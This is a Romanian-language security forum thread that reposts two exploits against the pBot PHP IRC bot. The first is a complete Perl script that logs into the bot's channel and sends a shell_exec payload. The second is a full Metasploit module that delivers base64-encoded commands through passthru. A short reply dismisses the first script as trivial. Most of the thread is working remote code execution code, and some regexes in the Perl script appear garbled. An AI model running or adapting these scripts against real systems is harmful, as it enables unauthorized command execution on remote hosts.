Jump to content
Wubi

pBot Remote Code Execution

Recommended Posts

Posted

pBot Remote Code Execution

[table=width: 500, class: grid]

[tr]

[td]EDB-ID: 201682[/td]

[td]CVE: N/A[/td]

[td]OSVDB-ID: N/A[/td]

[/tr]

[tr]

[td]Author: bwall[/td]

[td]Published: 2012-08-01[/td]

[td]Verified: cancel.png[/td]

[/tr]

[tr]

[td]Exploit Code: 46.png[/td]

[td]Vulnerable App: N/A[/td]

[td][/td]

[/tr]

[/table]

#!/usr/bin/perl
# Exploit Title: pBot Remote Code Execution ("*" hostauth)
# Date: 31.07.2012
# Exploit Author: @bwallHatesTwits
# Software Link: https://www.firebwall.com/decoding/read.php?u=620d21fd31b87046e94975e03fdafa8a (decoded from attempted attack)
# Version: Various versions
# Tested on: Linux 3.2

use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;

my $nickname = "BotSlayer";
my $ident = "BotSlayer";
my $fullname = "BotSlayer";
$sel_client = IO::Select->new();

#configuration values from the bot source
$ircserver = "localhost"; #"server"
$ircserverpass = ""; #"pass"
my $ircport = "6667"; #"port"
#if "key" is set, then add a space and the password to the chan name
my @channels = ("#anonbxu"); #"chan" and "chan2"
$botPass = "hello"; #"password"
$botTrigger = "."; #"trigger"
#hostauth must be "*"
$loginCMD = "user"; #usually user or login

#payload - PHP code to run
#This version deletes the bots originating script, and dies
$phpEval = "shell_exec(\"rm -f \".\$_SERVER['SCRIPT_NAME']);exit();";

$channelCount = scalar(@channels);

sub onJoin
{
my $channel = shift;
$channel = substr($channel, 1);
print "Joined $channel\n";
say($channel, $botTrigger.$loginCMD." $botPass");
sleep(1);
say($channel, $botTrigger."eval \@BallastSec ".$phpEval);
print "Payload delivered\n";
tryQuit();
}

sub tryQuit
{
$channelCount--;
if($channelCount == 0)
{
quit("whomp wha");
}
}

sub sendraw
{
if ($#_ == '1')
{
my $socket = $_[0];
print $socket "$_[1]\n";
}
else
{
print $IRC_cur_socket "$_[0]\n";
}
}

sub conn
{
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket))
{
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
if($ircserverpass != "")
{
sendraw("PASS ".$ircserverpass);
}
sendraw("NICK ".$mynick);
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}

sub parse
{
my $servarg = shift;
print $servarg."\n";
if ($servarg =~ /^PING \.*)/)
{
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) JOIN (.+)/)
{
my $channel = $4;
onJoin($channel);
}
elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/)
{
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/)
{
notice("$pn", "\001VERSION BotSlayer by Ballast Security\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ )
{
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i)
{
if (lc($1) eq lc($mynick))
{
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\.+?)\s+001\s+(\S+)\s/i)
{
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach(@channels)
{
sendraw("JOIN $_");
}
}
}
my $line_temp;
while(1)
{
while (!(keys(%irc_servers)))
{
conn($nickname, $ircserver, $ircport);
}
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready)
{
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;
for(my $c=0; $c<= $#lines; $c++)
{
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
parse("$line");
}
}
}

sub say
{
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice
{
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub join
{
sendraw("JOIN $_[0]");
}

sub part
{
sendraw("PART $_[0]");
}

sub quit
{
sendraw("QUIT :$_[0]");
exit;
}

Posted

Am vazut "exploitul" de cateva zile si prima intrebare care mi-a venit in minte e "ce rahat e asta" avand in vedere ca botul are optiune nativa de a executa functii php, si ca omul a dat sa execute un exit unde e exploitul... :-? cand am vazut titlul speram ca e macar cu un password bypass sau ceva de genu'

Posted

also, un "exploit mai recent" , asem?n?tor, publicat tot pe exploit-db :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
'Description' => %q{
This module allows remote command execution on the PHP IRC bot pbot by abusing
the usage of eval() in the implementation of the .php command. In order to work,
the data to connect to the IRC server and channel where find pbot must be provided.
The module has been successfully tested on the version of pbot analyzed by Jay
Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
SP3.
},
'Author' =>
[
'evilcry', # pbot analysis'
'Jay Turla', # pbot analysis
'@bwallHatesTwits', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '20168' ],
[ 'URL', 'http://offensivecomputing.net/?q=node/1417'],
[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
],
'Platform' => [ 'unix', 'win'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Targets' =>
[
[ 'pbot', { } ]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 02 2009',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
], self.class)
end

def check
connect

response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end

response = join(sock)
if not response =~ /353/ and not response =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return Exploit::CheckCode::Unknown
end
response = pbot_login(sock)
quit(sock)
disconnect

if response =~ /auth/ and response =~ /logged in/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end

def register(sock)
msg = ""

if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end

if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end

msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

response = send_msg(sock,msg)
return response
end

def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
response = send_msg(sock, join_msg)
return response
end

def pbot_login(sock)
login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
login_msg << " #{datastore['PBOT_PASSWORD']}"
end
login_msg << "\r\n"
response = send_msg(sock, login_msg)
return response
end

def pbot_command(sock)
encoded = Rex::Text.encode_base64(payload.encoded)
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
response = send_msg(sock, command_msg)
return response
end

def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end

def exploit
connect

print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end

print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
response = join(sock)
if not response =~ /353/ and not response =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end

print_status("#{rhost}:#{rport} - Registering with the pbot...")
response = pbot_login(sock)
if not response =~ /auth/ or not response =~ /logged in/
print_error("#{rhost}:#{rport} - Error registering with the pbot")
return
end

print_status("#{rhost}:#{rport} - Exploiting the pbot...")
pbot_command(sock)

quit(sock)
disconnect
end
end

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...